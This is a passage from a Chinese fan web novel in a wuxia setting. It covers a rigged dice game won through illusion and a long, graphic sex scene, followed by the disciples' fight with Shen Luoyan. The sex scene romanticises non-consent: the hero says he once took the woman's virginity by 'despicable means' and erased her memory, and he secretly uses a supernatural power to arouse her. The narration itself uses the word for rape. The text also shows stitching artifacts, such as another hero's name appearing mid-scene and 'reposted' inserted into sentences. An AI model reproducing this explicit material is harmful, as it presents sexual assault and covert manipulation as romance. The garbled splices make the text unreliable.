韩星满意一笑,盆盖内正是双数,他曾经在怒蛟岛上跟戚长征他们在赌场亦厮混过一段时间,一身赌术虽不及戚长征,但听听骰子还是没问题的。而任媚媚的赌术绝不会比他差,任媚媚替他猜对了,那就是说她已有了献身之意。
于是,韩星长笑一声道:“俪影成双,好意头,我就听任美人押双吧!”
香玉山冷笑道:“决定买双了吗?别到时输了,就怪媚姑猜错了。”
任媚媚暗暗叫糟,在韩星耳边道:“他们可能会弄鬼。”
韩星哂笑道:“我知道,不用担心。”
任媚媚看了一眼韩星,发现他一副信心十足的样子,芳心不由急跳几下,小樱唇微微一动,似乎要警告他一点什么似的,可是却什么也没说出来,只是看见韩星的眼光更加狂热了。
韩星忽然凑到她耳边低声道:“你那么想跟我睡,我怎么能让这些人破坏姐姐一番美意呢。”
任媚媚面上微红,娇嗔道:“小心输了,我要了你的命。”


325
韩星笑嘻嘻的道:“就算我赢了,你也会要了我的命……根子。”
任媚媚啐了一口。
“好!既然你押双,那我就押单。”
香玉山看向那个枯瘦中年人道:“邓叔,开吧!”
“决定了?”
那个枯瘦中年人用询问的眼神分别看了看香玉山和韩星,当看到韩星时,自然而然的看到韩星眼睛,不知咋地愣了愣,然后耳边响起韩星的声音:“我改押单。”
后又听到香玉山的声音:“那我改压双。”
要让少东赢,那就开双吧,枯瘦中年人心中想着,轻轻地拍了拍盖。
香玉山看到他这个动作,神情兴奋到极点,甚至连听都懒得细听了,这个邓叔的赌术在翠碧楼内也是首屈一指的,他相信邓叔的技术绝对不会出错。
而任媚媚的心都提到嗓子,但听到骰子的落点后,表情顿时变得疑惑。
不容她多想,那个枯瘦中年人高喝一声:“买定离手,开!”
这时场内诸人,一窝蜂围了过来,看进盆内,齐声哗然。
枯瘦中年人看了看盘子,高声道:“三三二点,双!”
香玉山暴起,大吼道:“邓叔!你……你这个叛徒,居然勾结外人?这个人出千!这盘不算!这盘不算!”
枯瘦中年人一阵愕然,随即大怒,骂道:“香玉山你这个臭小子!你说什么!我什么时候勾结外人了?”
香玉山大吼:“还说没有!你都故意让我输了!一千两黄金,一千两黄金啊!”
那枯瘦中年人一鄂:“你说什么?你不是已经赢了吗?”
香玉山大吼:“我押单!怎么个赢法?你倒是给我说说。”
那枯瘦中年人再次愕然,奇道:“你不是押双吗?”
香玉山冷哼一声,一字一字地道:“我押单,我一直都是押单!”
那枯瘦中年人愣住了:“这,这,这个公子不是说他改押单,然后你改押双吗?”
“我们什么时候改押了?”
香玉山也奇怪了,因为邓叔的样子根本不像撒谎。
“好了,你们的家事回去再讨论吧。”
韩星终于张声了,打断道:“愿赌服输,玉啥子把金子拿过来吧。”
“你闭嘴!”
香玉山一听韩星的声音,没由来的一阵讨厌:“你出千!还想要我的金子?”
“你再乱说,我真的告你诽谤了。”
韩星好整以暇的道:“输就是输,赢就是赢,赌界最基本的规则都不懂,你怎么开赌场的?你说我出千?OK!只要你拿出证据就行,不然就乖乖给钱。”
香玉山生气之下什么都不想了,冲过去想要抢过那邓叔手上的盒盖,立刻被那些冷静的亲随按住。
香玉山大吼道:“你们想干什么?难道你们也勾结外人了?”
一名亲随在他耳边低声道:“少东冷静点!要是你真的把机关拿出来,那翠碧楼以后就不用做生意了。”
香玉山一听也回过神来了,这些赌具都是翠碧楼提供的,要是真把盒盖内的机关当众展示,那不但不能证明韩星出千,反而会让翠碧楼声名扫地。
翠碧楼的生意乃是巴陵帮最大的财源收入之一,让翠碧楼声名扫地这个罪名,就是他老爹香贵来了都承受不起。
不过,一千两黄金可不少数,就是香家有钱,也得肉痛好一阵子。
“玉啥子,和赌鬼赌钱时弄鬼,在酒鬼杯中下毒,无论谁做了这两件事,都一定会后悔的,记住喽。”
韩星笑吟吟的接过香玉山的一千两黄金,忽然哈哈大笑起来:“老子赢了任美人这把够了,这些黄金就送给在场各位朋友吧。”
众人一阵大哗,韩星已经把香玉山那一千两金条丢了出去,那些人狂欢的哄抢起来。场面极之混乱,还有不少人还被金条砸到了,不过他们都不在意,被金条砸中的机会可不是常常有的。
韩星挽着任媚媚的纤腰,哈哈大笑的到贵宾房去了。
香玉山看着被哄抢的黄金,心在滴血,他原本还想事后派人伏击韩星,抢回黄金,却想不到韩星竟把黄金随手丢了。所谓法不责众,那么多人拿到黄金,他根本没办法抢回来。
失神间,香玉山咋然看到韩星留在赌桌上那一包囊黄金,心中顿时狂喜,难道那家伙得意过头忘了拿黄金了?那包裹里可是有一千三百多两黄金。
他飞也似的抢过那包囊,心中感叹着:真是失之东隅,收之桑榆。又兴奋的打开包囊,拿起一块金锭一咬。
“啊,好硬!”
香玉山立刻用衣袖在金锭的表面擦了擦,上面露出银灰的色泽——这是铁。
“这是铁!那家伙在骗人!”
香玉山高喊,然而由于场面极之混乱吵杂,根本没有人听到他的话,就算有人听到了大概也会装作听不到。
我的人验错了?不,不可能,他们怎么可能验错,金子和烂铁怎么可能分不出来。难道他们都被收买了?也不可能,要是他们那么容易被收买,那样翠碧楼早没了,巴陵帮早没了。一定是那个人搞鬼,对了,还有邓叔的事也一定是他在做的手脚,可他是怎样做到的?
香玉山心中分析着,他越是分析,对韩星的恐惧感越发的强烈。这个人绝对是个超级高手,这样的人惹不得,也惹不起,香玉山心中下了个结论,对韩星暗下黑手的想法也被他丢了。
“你怎么能把那么金子丢了,那里足足有一千两。”
被韩星拉到房间的任媚媚心痛的道。
韩星淡然道:“那些金子要不得,我要不把那烫手山芋丢了,巴陵帮不给我下黑手才怪呢。”
任媚媚也不是蠢人,稍微一想也明白其中的利害,但依然觉得可惜不已,忽然想起什么,问道:“对了,那你自己的金子呢?”
“在这里呢。”
韩星从怀里掏出那个装满金子包囊。
其实香玉山搞错了,那些假金子那么假,只是随便涂了些金油,很多人一看就知道是假的。韩星的幻术再厉害也没有足够的精神力,同时让那么多人看到幻觉,所以他拿出来的金子其实是真的。只不过到他临走的时候,从空间袋里换了包假金子出来,目的自然是要香玉山误会他其实根本就没有金子。
丢了一千两金子已成定局,怎么都没法挽回了,韩星身上又没有金子,香玉山便没有了向韩星出手的理由。杀他出气?先不说杀不杀得了,就是杀得了那也肯定损失惨重,要是被他逃了那就更惨,被一个绝世高手惦记着可不是快乐的事。为了出气冒这么大的险,实在不值得。
韩星做这些倒不是因为害怕巴陵帮,而是他急着品尝任媚媚这个尤-物,自然不想这个时候被巴陵帮的人打扰。
任媚媚看着韩星凭空的拿出金子,再次发出疑问:“你的金子到底是从那里那出来?”
韩星笑道:“想知道?要不要再摸一次?”
任媚媚沉吟一下,最终点了点头,都快要跟他欢好了,已经没什么不好意思的,而且她对这事实在好奇得紧。
这次任媚媚依然没有摸到那奇异的空间,还是只摸到韩星那块健壮的胸肌,不过这次她没有急着收回纤手。
“感觉怎样?”
韩星又问了一次。
任媚媚娇哼一声道:“不是说了吗?跟猪肉狗肉差不多。”
韩星为之一气,在任媚媚的娇呼中,把她抱到床上。然后握着她一对纤足,不理她抵御.半强迫她脱掉她的小绣鞋。
任媚媚给他拿着双足,浑身发软,倒在床上,俏脸烧得比火还更红,娇艳无比。
韩星放开她的纤足,站了起来,脱掉外衣,露出精赤的上身,向软倒床头的任媚媚笑道:“喂!本公子要脱裤子了,你不看吗?”
任媚媚看着韩星健壮的上身,双目闪过一丝迷醉,娇吟道:“现在还是白天呢,还有,你不是说只是睡觉,什么都不会做的吗?干嘛又要脱衣服了。”
“桀桀”韩星淫笑两声道:“谁说白天不能睡觉的,而且我也没说我要做什么,只不过我睡觉的时候喜欢不穿衣服,当然,我也不喜欢陪我睡的人穿衣服。”
孤男孤女不穿衣服抱着睡觉,赤裸的肌肤互相摩擦几下,能忍得住才有鬼,就是韩星忍得住,任媚媚也绝对忍不住。
韩星大有兴致的打量着任媚媚,她的衣服紧紧的,极度地强调了她饱满玲珑的曲线。他的眼光由她的俏脸往下巡视,经过她的半露的酥胸和蛮腰.最后来到她因下摆掀起而露出来那对晶茔雪亮的修长美腿处。
任媚媚感觉到韩星有若实质的目光,娇羞道:“你看什么?”
韩星笑嘿嘿的道:“媚媚,快把衣服脱了吧,让我看看你美丽的身子。放心,我纯粹只是从艺术的角度去欣赏,很纯洁的。等下睡觉也是,只是睡觉而已,绝对不会做一些奇怪的事,来,快把衣服脱了吧。”
这番话绝对是男人骗女人上床时说的话。
任媚媚看了看韩星已经迫不及待挺直的下身,再听了他的话,不由为之气绝:“你少来!说那么多还不是想跟我欢好,当我是那些什么都不懂的小女孩吗?”
她又幽幽的道:“其实你要跟欢好也行,不过有件事我一定要先问清楚。”
“你问吧。”
韩星已经猜到她想问什么了。
任媚媚幽幽的问道:“你是不是当我是那种很随便,跟很多男人上过床的女人?”
韩星心中暗叫一声‘果然’,早上跟沈落雁亲热的时候,就知道她们其实很介意这件事。
于是,韩星毫不犹豫的回答:“不是。”
事实上,这种时候就算认为是,也必须回答不是,不然艳-遇就要泡汤了。
任媚媚幽幽的道:“你是故意哄我开心的是吧,你心里还是当我是随便的女人。”
韩星暗叹了口气,知道不开解她不行,于是问道:“你还是处-女吗?”
任媚媚面色一黯,摇头道:“不是。”
韩星又问:“给了什么男人?”
任媚媚继续摇头:“不知道,或许你不信,我连第一次给了谁都不知道,甚至连记忆都没有多少,只记得醒来后下身很痛,还有床上多了滩血迹。”
韩星继续问:“那之后呢?还有其他男人吗?”
任媚媚急忙摇头:“没有,从那之后我就觉得男人很讨厌,碰一碰都觉得恶心,直到……遇到你。”
韩星深呼吸一口气,一字一字地道:“媚媚,其实你的第一次给了我。”


326
任媚媚奇道:“你说什么?”
韩星道:“其实当年夺走你第一次的人是我,是我夺走你第一次后,用法子让你忘记的。”
任媚媚先是一呆,然后欣然一笑道:“谢谢你,韩郎,你是为了让我心里好受点才这么说的吧。”
韩星问:“你不信?”
任媚媚摇摇头:“不信。”
韩星本想解析但想到事情实在诡异了点,就算解析了也是白解析,再加上任媚媚在他心里的地位,绝对没有达到分享自己最重要的秘密的地步。
于是,韩星铿锵的道:“无论你信不信都好,你只需要这样想就行:夺走你第一次的是我,你由始至终都只有我一个男人,也只能有我一个男人。”
任媚媚面上一红道:“你这是在乎我?在乎我有过其他的男人?”
韩星点点头道:“我喜欢你自然在乎你。”
接着又强调道:“还有我说过了你只有一个男人,那个男人就是我,以前是,以后也是。”
任媚媚叹了口气,幽幽的道:“我也想只有你一个男人,可是我不能自欺欺人。”
韩星眉头一皱,道:“你不是说了吗?除了第一次外,就没被其他男人碰过,难道你骗我?”
任媚媚急忙摇头道:“没有骗你。人家名声虽然不怎么样,但绝对不是个随便的女人,那些不过是跟他们虚与委蛇。”
韩星欣然道:“那不就对了。我说过了,你的第一次是被我用卑鄙的方法夺走的,无论你信不信,你只需要想就好,以后都不需要再为这件事烦恼。”
任媚媚沉吟一下,又看了看韩星那坚定的眼神,最终点点头。后又迟疑道:“你这么要求人家,该不会是想人家‘从良’,给你做个贤妻良母吧。那我是不是不能再在江湖上走动了?”
韩星哂道:“从什么鬼良?我要的是那个烟视媚行的任媚媚,才不要什么贤妻良母,除了不可偷男人外,我可要你天天都像窑子姑娘般向我卖笑,那才够味儿。要是你变成贤妻良母的,我反倒觉得没趣呢。”
他又道:“至于江湖上的事,你可以继续在彭梁会做你的三当家,只不过这样一来我们见面的机会就要少一点了。”
任媚媚满意的一笑道:“少一点就少一点吧,反正这么多年来我都一个人过惯了,又不是没有男人就不行,现在多一个偶尔幽-会的情-人也不错。”
韩星桀桀的一笑道:“等你尝过我的厉害后,可就不会这么说了,到是我怕你一手把彭梁会的事丢了,来缠着我要呢。”
任媚媚看着自信心飞扬的韩星,扑哧一笑,她虽然不明白为什么他如此不把天下人放在眼里,不过她喜欢韩星这个样子。
她娇笑一声道:“谁缠谁还说不准呢?奴家虽然没有什么实践经验,可也学过一些媚术,等你尝过后奴家的媚术后,说不准就舍不得奴家呢。”
“哦?那你有什么媚术尽管用在我身上,看我怕不怕?”
韩星哪会怕她。
天魔四媚那样的媚术专家都拿他没办法,反而死心塌地的爱上他,像任媚媚这种半路出家半调子哪里是他的对手。
任媚媚媚眼如丝,斜瞟了韩星一眼,眼神中说不出的风情,“韩郎,让奴服伺你歇息。好吗?”
“任美人有请,自然求之不得。”
说完便扑了上去,抓住她丰满的乳-房揉捏着。
“嗯……”
任媚媚媚哼一声,又笑了笑,两片嫣红的唇忽然不由分说朝韩星吻了过去。
对这已经送上门来的好事韩星自然不会拒绝,心中大呼一声“来得好”跟着义无反顾慷慨激昂地迎了上去。
“媚媚,你的动作有点生疏哦,这样的技术是满足不了我的。”
韩星松开她芳唇,笑道。
“哼!你等下就知道奴家的厉害。啊!”
任媚媚刚发出一次娇哼。却突然感觉到男人的大手狠狠的捏了一下胸口饱满的骄傲,情不自禁的大叫了起来。
两人的衣服如垃圾一般被一件件扔了下来,瞬间变的光溜溜的一片。
任媚媚仰躺在床上,左手护着胸-脯,右手掩着下-身,修长的双腿交叠在一起,神情不胜娇羞。
韩星跪坐在她圆润有弹性的大-腿上,细细打量着身下这女子。她的皮肤如乳酪般洁白细腻,全身上下似乎没一丝毛孔,抚上去有着丝丝冰凉,滑腻如汉白玉一般。
如雪肌肤,如花美貌。玉颈如天鹅一般修长洁净,双肩浑圆,线条柔和而性感。平坦的小腹上无一丝赘肉,纤细的腰肢似乎不盈一握。到了臀部便以惊人的弧线隆起,交叠在一起的两条玉腿根部,从捂着的手掌下跳出几缕调皮的芳草。
韩星轻赞叹一声,“此女不止相貌出众,更重要的是这身材绝对是‘魔鬼’级。”
韩星伸出手,轻轻挪开了任媚媚掩住自己胸脯和羞处的双手。半球形的雪白乳峰跳入韩星眼帘,耀出一片触目惊心的白。顶端那两粒柔嫩的粉红已经悄然挺立,女孩敏感的身躯在他灼热的目光注视下微微颤抖着。毕竟外号‘骚娘’的她其实没有什么经验,唯一一次还是迷迷糊糊的。总是她个性大胆,也不禁有点害羞。
俯下身子,吻上了她光洁的额头。温热的唇缓缓移动着,吻上眉毛、眼睛、鼻梁,又向旁移开,咬住晶莹的耳垂,往耳朵里轻轻地呵着气。
任媚媚如触电一般颤抖着,她只觉韩星呵进她耳中的热气犹如一条条细小的热流,从耳中进入,飞快地淌遍全身,那奇异的酥麻感,让她的身体几乎融化。
她自是不知道,韩星在这个时候,已经悄然运起魔种,魔种的诱惑正无处不在的挑起她的情-欲。
韩星的舌与她的舌纠缠到了一起,互相慰藉着,索取着。手握上了她那坚挺圆润的乳峰,五指覆盖着她的乳峰,掌心轻轻磨擦着那点嫣红的坚挺。
她感到他的手心似乎有个火热的漩涡,正尽力吸取着她的乳房的顶峰,将她身体的欲望从灵魂深处唤醒,她从鼻中发出一声颤抖而慵懒的娇哼。无限渴望男人的进入。
韩星的另一只手抚过她光滑平坦转载的小腹,抚过那黑色的芳草地,触碰到了她最神秘幽深的地带,那里已经有点润湿,但还没足够。于是,韩星的舌尖开始在她全身游走,从啜取红樱桃的甜美开始,越过白皙的小腹,一直来到其迷人的胯间芳草处。舌头一下一下的舔弄着那已经泛滥着水光的小穴。突然舌尖用力顶了进去。
“啊……啊……”
任媚媚笔直修长的玉腿尽量伸直、分开着,好像要让韩星埋的更加深入一点似得。
浪潮一般的快感充斥她全身,她痉挛着,颤抖着,眼神迷离,口鼻中发出无意义的轻哼,面颊已是绯红一片。
“媚媚准备好了吧。本公子要采了你这朵鲜花了。”
韩星的挺翘大肉棒已经对准了她的花花出水处。任媚媚听了他的话双腿夹着他的腰,纤柔的腰肢不断地扭动着,似在催促着他的进入。口鼻中发出阵阵无意识地呻吟,显是极为动情。
韩星的右手架起任媚媚的一条修长玉腿,下身用力一挺,“滋”的一声,两人毫无意外的紧密的结合在了一起,湿润温暖的小穴里的嫩肉包裹着韩星的硕伟,尽头的子宫口一小团嫩肉吮吸着大肉棒的顶端。
“啊!”
两人都是不自觉的叫出了声。
“好紧,跟处女差不了多少。”
韩星极之享受这种紧窄。
“好大……怎么会这么大的。韩郎你涨死人家了。等一下在动啊。”
任媚媚深吸了几次呼吸娇声道。好一会儿任媚媚才适应了过来。她每深吸一口气。韩星都可以感觉她的小穴里面的嫩肉也蠕动了一下。
韩星的被她里面的蠕动刺激到了。大肉棒在其火热幽深的体内抽动了起来,巨棒深深地推进到任媚媚的阴道底部,然后,韩星开始奋勇冲刺起来。
任媚媚只觉得一根粗大的男性生殖器深深地完全进入了她的下身阴道,又胀又满地深深充实着她那最火热、最幽深的空虚之域……给他一上来就狂抽狠刺,任媚媚只有娇羞怯怯地娇啼婉转、淫呻艳吟。
“哎~~嗯……唔……啊~~哎唷~~啊~~啊~~嗯……啊~~哎~~啊~~轻……轻点……哎~~啊~~你……你……哎唷~~啊~~啊……你……请……请你……轻……轻一点……哎~~啊~~啊~~哎……哎~~啊~~啊~~轻……轻点……啊~~啊……你……你进……进得……人家好……好深噢……哎唷~~啊~~”任媚媚那春意盎然的美妙难言的“叫床”声令人血脉贲张地回荡在卧室中,但见她桃腮绯红如火,绝色丽靥娇羞万分,星眸微掩。她那一丝不挂、雪白动人的无瑕玉体在他黑黝壮实的身体下美妙地扭动着、蠕动着……羞赧而火热地回应着他巨棒的每一次进入、抽出……
韩星凶猛地不断刺入任媚媚的“花芯”深处,然后顶住她阴道最幽深处的娇嫩“花蕊”狠狠揉动一番,又再抽出……仙子般绝色美貌的任媚媚在他胯下妩媚娇啼、抵死逢迎,羞花闭月的绝美秀靥晕红万千,在他经久不息的奸淫强暴下婉转相就、含羞承欢。
也不知淫合交媾了多久,韩星把身下这个平日里的绝色尤物任媚媚干的得死去活来,将她蹂躏糟蹋得娇啼婉转、欲仙欲死。
韩星快马加鞭的在小母马的玉体上驰骋了起来。
任媚媚的里面带着节奏收缩着,紧紧夹住在里面做乱的火热大家伙,外面的两片粉红的肉肉随着韩星的抽出插入而翻出翻进。
一声声快乐的呻吟声。以及肉棒在里面的进进出出和体液的摩擦出的噗滋。噗滋声,交织在一起,汇成一曲让人心醉神迷的乐曲,使人痴迷,让人沉醉,杨立名低下头吻了一下那不断跳动的殷桃。看着翻上翻下的玉体道:“媚媚舒服快乐吗?”
任媚媚双眼迷朦着,早被他抽插转载出的无意识的翻起了白眼。哪里有可能回答他。只是一声声的尖叫。她从来不知道做爱可以这么快乐的。不一会儿,韩星抱着任媚媚猛然一个翻身,变成了女上男下的姿势。
任媚媚刚开始还不适应,但是由于韩星的慢慢引导,本能的一上一下开始抛动的自己的身体。让大肉棒更加猛烈进进出出的更加的快了。只见任媚媚颠动着身体,扭动着屁股,小穴一下下的吞吐着肉棒。淫水喷出。一头乌黑的秀发如一团燃烧着的黑的火焰在脑后跳动;粉颊绯红,美目迷离,汗淋漓,娇喘吁吁。
韩星仰卧着,身体上下挺动着,腹部带动大肉棒用力一次次向上挺送进任媚媚的小穴的深处。双手同时不甘寂寞地捏揉、把玩着任媚媚她那对上下跳跃的尖挺肉球。
突然两人都开始快速套动起来,任媚媚全身冰肌玉骨一阵美妙难言的痉挛、抽搐……阴道膣内的嫩肉黏膜死死紧夹、缠绕着那巨大火热的阳具,阴道深处又泄出一股黏稠浓浊的玉女淫精……而他也在这是将一股浓浓的精液直射进任媚媚的子宫深处。
疯狂交媾合体的两个男女双双同登极乐才瘫软下来。两人一丝不挂、赤裸裸地相搂相拥,久久不分开还紧紧交合着的身体,沉浸在交合高潮的馀波之中。
“天啊,太美了。”
任媚媚满身香汗的躺在韩星的怀里,无意识的说道。
韩星笑嘿嘿道:“还没够呢。”
“什么?”
“我说,还早的很呢……”
“啊!”
韩星跟任媚媚在翠碧楼的贵宾房内,进行翻云覆雨的盘肠大战的时候,彭城一间酒楼里,双龙已经跟自称‘韩志’的单婉晶闹翻了。
“你们好好记着曾对我说过什么话。”
单婉晶冷冷地道,言罢拂袖而去。
寇徐二人以为她是沈落雁的人,也就没有在意,便对喝起来。
徐子陵见寇仲越喝越多,投降道:“有点酒意就够了,说不定步出酒褛就要给沈落雁暗算呢。唉!我现在很想睡觉,昨晚那李世民小子的脚压了到我那处去,累我睡得不好呢。”
寇仲按着徐子陵眉头,醉态可掬凑在他耳边道:“不若就直踩进这里最大的青楼,找两个最红的阿姑陪我们睡觉,这叫今朝有酒今朝醉,来!快唤夥计来,着他提供有关这地青褛的一切详尽资料。”
徐子陵欣然点头,正要召唤夥计,桌的两名大汉其中之一忽提高了少许声音道:“张兄。你来到我们彭城,就是未去过倚红院,也未见过那处的两位红阿姑白云和秋燕,怎都不算来过彭城。”
两人暗忖又会这么巧的,忙聚精会神留心窃听。
另一人道:“陈兄说的是落街后往左走一个街口的倚红院吧!我怎会没去过呢?不过现在是白天,姑娘们尚未起床,今晚再说吧!哈!那几个妞儿真是美得可滴出水来。”
姓陈的笑道:“现在是午时了,倚红院未时就开始招待宾客,我们多喝两就去逛逛吧!”
寇徐两人听得心中大喜,互相在台底踢了一脚,下了决心,怎都要在今时今地一尝女人的滋味。
韩星给他们找的师娘,一个比一个漂亮,对于这些漂亮的师娘,他们倒不敢有什么想法,然而心中说不羡慕那是不可能的。二人,尤其是寇仲早就想一尝女人的滋味,正式脱离童子鸡的行列。
两人步出酒楼,秋风吹来,酒意更增两分,寇仲扯着徐子陵朝倚红院的方向走了十多步后,低声道:“好像有点不妥,那两人的对答来得太合时了,好像还怕我们不知怎样到倚红院去,说得清楚无遗。照我看这两个定是沈落雁的人,见一计不成,又生一计。”
徐子陵闻言一震道:“你说得不错。既然韩志会是沈落雁的人.这两个家伙也可能是她的人。唉!现在到那里去好呢?还是先找处躲藏的地方为妙。”
寇仲心痒难熬地道:“不去倚红改去倚绿好了。”
忽地朝着一个路过的行人,恭敬问道:“请问这位大叔,附近除倚红院外,还有那间是最有规模,最多漂亮姐儿的青楼呢?”
那被他拦着的是个中年书生,闻言露出鄙夷之色.“呸”的吐了一口痰,不顾去了。
徐子陵哈哈笑道:“你道是要问去那里考科举吗?找青楼定要拣些二世祖模样,一眼看去便知是酒色过度的人来问才在行,看我的!”
环目四顾,刚好一辆华丽的马车在后方停下.走下来一个贵公子,还跟了两个随从。
那公子年在二十三、四间,相貌俊俏,但脸容带点不健康的苍白,而且神色萎顿,心不在焉,竟是刚刚输了一千两黄金的香玉山。
原来香玉山刚输了一千两黄金,对着那些赌具很不是滋味,便出来散散心,好打消一下郁闷的心情,却不想刚巧遇到害他输钱的人的两个徒弟。
二人看到香玉山这般模样,暗叫一声:是他了!
寇仲猛地推了徐子陵一把,累得徐子陵跄踉跌前两步,到了香玉山跟前。
两名随从立即手按剑把.露出戒备神色。
徐子陵硬着头皮,恭敬道:“这位公子,在下有一事相询,请公子勿怪在下唐突。”
香玉山刚输了钱心情不佳,本无心理会,但看到徐子陵一身不凡的气质,便来了点兴趣,道:“有话请说。”
徐子陵不好意思地凑近了点,防怕给旁人听到的压得声音低无可低道:“我两兄弟想知道这里除倚红院外,还有那间青楼是最好的?”
香玉山大感愕然,后又露出“志同道合”的笑容,笑道:“你是问对人了。我老爹正是开妓院的,就是在隔邻鸿园街的翠碧楼。论规模和姑娘,倚红院拍马都追不上。不过现在时候尚早,还没有姑娘出来接客,不过你也可以先到那里赌上两把,到酉时那些姑娘就会接客。只要说是我香玉山的朋友,保证没有人敢侍候不周。我还有事不能陪两位,仁兄请了。”


327
双龙并没有赌钱的嗜好,听了香玉山的话,决定等到酉时才到翠碧楼。
他们先前喝了几杯,又未学会用内力化解酒力,整个人迷迷糊糊的,觉得整个天地都变得不真实起来,但见在秋阳高照下的石板街道,闪烁着奇异的光芒。
道路、房舍、行人、车马似像合成了一个难以分割的整体,再无分此彼。
寇仲醉态微露无意识地笑起来,搂着徐子陵满足地叹道:“喝酒的感觉真是奇妙,现在我什么义军或官军都不想当了,只想在青楼醉生梦死,快快乐乐过完这一生就算了。”
徐子陵喝得出他少.头脑亦比他清醒,笑骂道:“那也得有钱才行。”
又道:“喝了酒,整个人浑浑噩噩的,脑袋也迷糊了,先找间客栈睡一觉吧,不然今晚逛窑子还是这样,那就出大丑啦!”
寇仲把床上的徐子陵摇醒,兴奋得声音都嘶哑起来,紧张地道:“快到酉时了,我们就去做翠碧楼第一批的客人,说不定有半价的优待呢!”
徐子陵头重重地爬起床来,埋怨道:“喝酒就是有这种后遗症,若你是沈婆娘派来的,我就要完蛋了。”
寇仲笑道:“我是这世上最有责任心的人,否则谁来为你把风。刚才有夥计来过问这问哪的,我偏不开门给他。哈!还有几个时辰沈婆娘就要输给我们了,不知秦老哥命运如何?”
徐子陵取起放在枕后的佩刀,道:“先去东门看看有没有他留下来的暗记。”
又道:“还有别忘了我们曾答应李世民那小子的事。”
寇仲不耐烦道:“我怎么会忘了,那有钱的家伙不是说过东溟号明天才由洛阳回来吗?得趁今晚良辰美景,行乐及时啊!”
徐子陵虽没有寇仲那么多花花肠子,但亦很想一尝女人的滋味,听了寇仲的话不由心中一热道:“说来真好笑,以前在扬州时,到妓院门口看看都给人像乞丐般赶走,现在连妓院老板儿子的朵儿都任我们亮出来照宝。”
两人打打闹闹往房门走去,刚拉开房门,一点寒芒,照额刺来。
寇仲想也不想,提气轻身,往后飞退。
那偷袭者显然想不到出手竟会落空,“咦!”
了一声,闪电抢进房来。
徐子陵也像寇仲般想也不想,踏步拔刀,当头疾劈,动作一气呵成,没有丝毫犹豫或停滞,这一刀竟不比那些练刀多年的刀法大家差到那里。
“叮!”
来人以手中长金簪,硬架徐子陵这凶厉无匹的一刀。
双方又比拼了几招。
“砰!”
寇仲重重掉到床上,又弹了起来,欢呼道:“哈!我的轻功大成了!”
时那人收簪退出房去,衣袂飘飞,美若天仙,正是跟韩星分开不久的“俏军师”沈落雁。
徐子陵刚被她运劲震退了两步,沈落雁见门口正畅通无阻,乍退又进,本要追击徐子陵,只见寇仲丢下长刀,往前一跃,提腿,腿点如暴雨般倾泻,腿势如狂风般猛烈,狂击而至。
沈落雁娇叱一声,抢入腿影里,施展出近身肉搏的招数。连挡了寇仲十多招。每招都凶险无比,但却迫不开寇仲,又见徐子陵亦丢了长刀,重整旗鼓,出掌,杀将过来,无奈下二度被迫出房外。
两人守在房门里,心中却似波涛卷天,翻腾苦思不已。想不到在突如其来下,竟把韩星教授给他们的绝技,发挥到前所未有的境界。期间更临时起意出了几招,将招式顺畅的连贯起来,回想起来连自己都不知使的是什么招数。但又觉得心到手到,劲随腿发,畅快淋漓,痛快到极点。
沈落雁却是芳心剧震,她的“夺命簪”乃家传绝学,名列江湖的“奇功绝艺榜”平时秘而不用,今番出手,是希望一举擒敌。哪想到这两个小子越战越勇,两度把她迫退,假如让此事传扬出去,足以使他们在江湖中成名立万了。
沈落雁心中暗叹着:“真不愧是韩郎的徒弟,现下他们功力尚浅,自己还能克制一二,再给他们一点时间,自己绝不是他们的对手。”
随即又更感不可放过二人:“依韩郎高傲的性子是绝不会为密公所用,但只要把他两个徒弟拉下水,韩郎从今以后就是友非敌。而且这两个小子武艺亦不错,更难能可贵的是,他们在韩郎的指点下拥有无穷的潜力。”
她心中打着如意算盘,但不知怎地总有种不快的感觉,若不是为了报李密的知遇之恩,她根本就不想算计韩星。
寇仲拿回长刀,大笑道:“美人儿军师,快滚进来挨刀。”
徐子陵亦威风八面道:“记着不可损我们半根毫毛,否则就算你输了。”
沈落雁没好气道:“外面院子地方大些,你们出来再比比看。”
寇仲晒道:“想叫手下围攻我们吗?哈|我可是会狮子吼,只要我大声一叫,保证彭城的总管大人都听得一清二楚。”
沈落雁俏脸一寒,旋又露出一个动人的微笑。柔声道:“不若这样好吗?假若我可闯关入房,就算我赢了,你两人乖乖归降。”
徐子陵淡然道:“那是说你再没有把握活捉我们了,所以你已输了啦!”
寇仲杀得兴起,信心剧增,得意洋洋道:“怕她什么,但却要有时间规限,我数十声你若过不了关,就算你输了。”
沈落雁把金簪插回头上,笑道:“就此一言为定,数吧!”
话毕大步朝门口走来。
两人愕然失措时,她已一点没有拦阻的由两人之间穿进房内,到了床旁,才转身款款坐下,含笑看着两人。
两人一个举刀一个提掌,愣是下不了手,直到她转过身来,仍是目瞪口呆。
沈落雁见两人神情古怪,“噗哧”娇笑,鼓掌道:“好了!我赢啦!”
徐子陵颓然收掌,叹道:“这样输了是我们也不会心服的,你不过是利用我们善良的本性。”
沈落雁奇道:“你们师傅除了教你们用掌用腿外,就没有教你们其他制人的手法吗?”
寇仲把刀垂下,颓然道:“我们练武满打满算都不够两年,师傅有经常不在,哪学得来那么多东西。”
“什么?”
沈落雁惊奇的看着他们两个:“你们只练了两年不到?你们师傅到底是怎样教你们的?”
提到韩星,又想到自己两年之内有如此成绩,二人不由多了几分骄傲,寇仲哼了一声,道:“我们师傅武功高绝,那是你能明白的,你识趣就放了我们,随便给些好处巴结巴结我们,不然师傅知道了,你可有得受的。”
沈落雁浑然不惧,白了他们一眼道:“你们师傅我见过,比你们怜香惜玉多了,哪会对人家不利。”
两人不由愕然,不敢肯定她说的是真是假,皆因他们熟知韩星的本性,好像天下美女都跟他有关系似的。这沈落雁自称已经见过韩星,若是真的,搞不好二人都已经上过床了。
徐子陵小心的问道:“你该不会已经跟师傅上过床,已经是我们师娘了吧?”
沈落雁顿时面如火烧,急忙道:“你说什么,谁是你们的师娘了?”
她今早确实跟韩星上过床,只差一步就发生了男女最亲密的关系。
双龙暗暗松了口气,从沈落雁的话看来,他们应该还没有发生关系,不然双龙都不知道该怎样面对沈落雁。
不过,这沈落雁对师傅应该存有情意,或许会因此放过我们也不一定。双龙心中想着。
于是,寇仲笑嘿嘿的道:“小陵不就跟沈军师开个玩笑吗?不过,看来沈军师也挺喜欢我们师傅的,不如那什么爱屋及鸟,放过我们两个,到时我们一定在师傅面前多提一下沈军师,促成你和师傅的姻缘。”
沈落雁听了寇仲的话,反而冷静下来:“什么爱屋及鸟,是爱屋及乌,不会成语就不要乱说。还有我跟你们师傅的关系,你就别多想了,更别想利用他来扰乱我的情绪。”
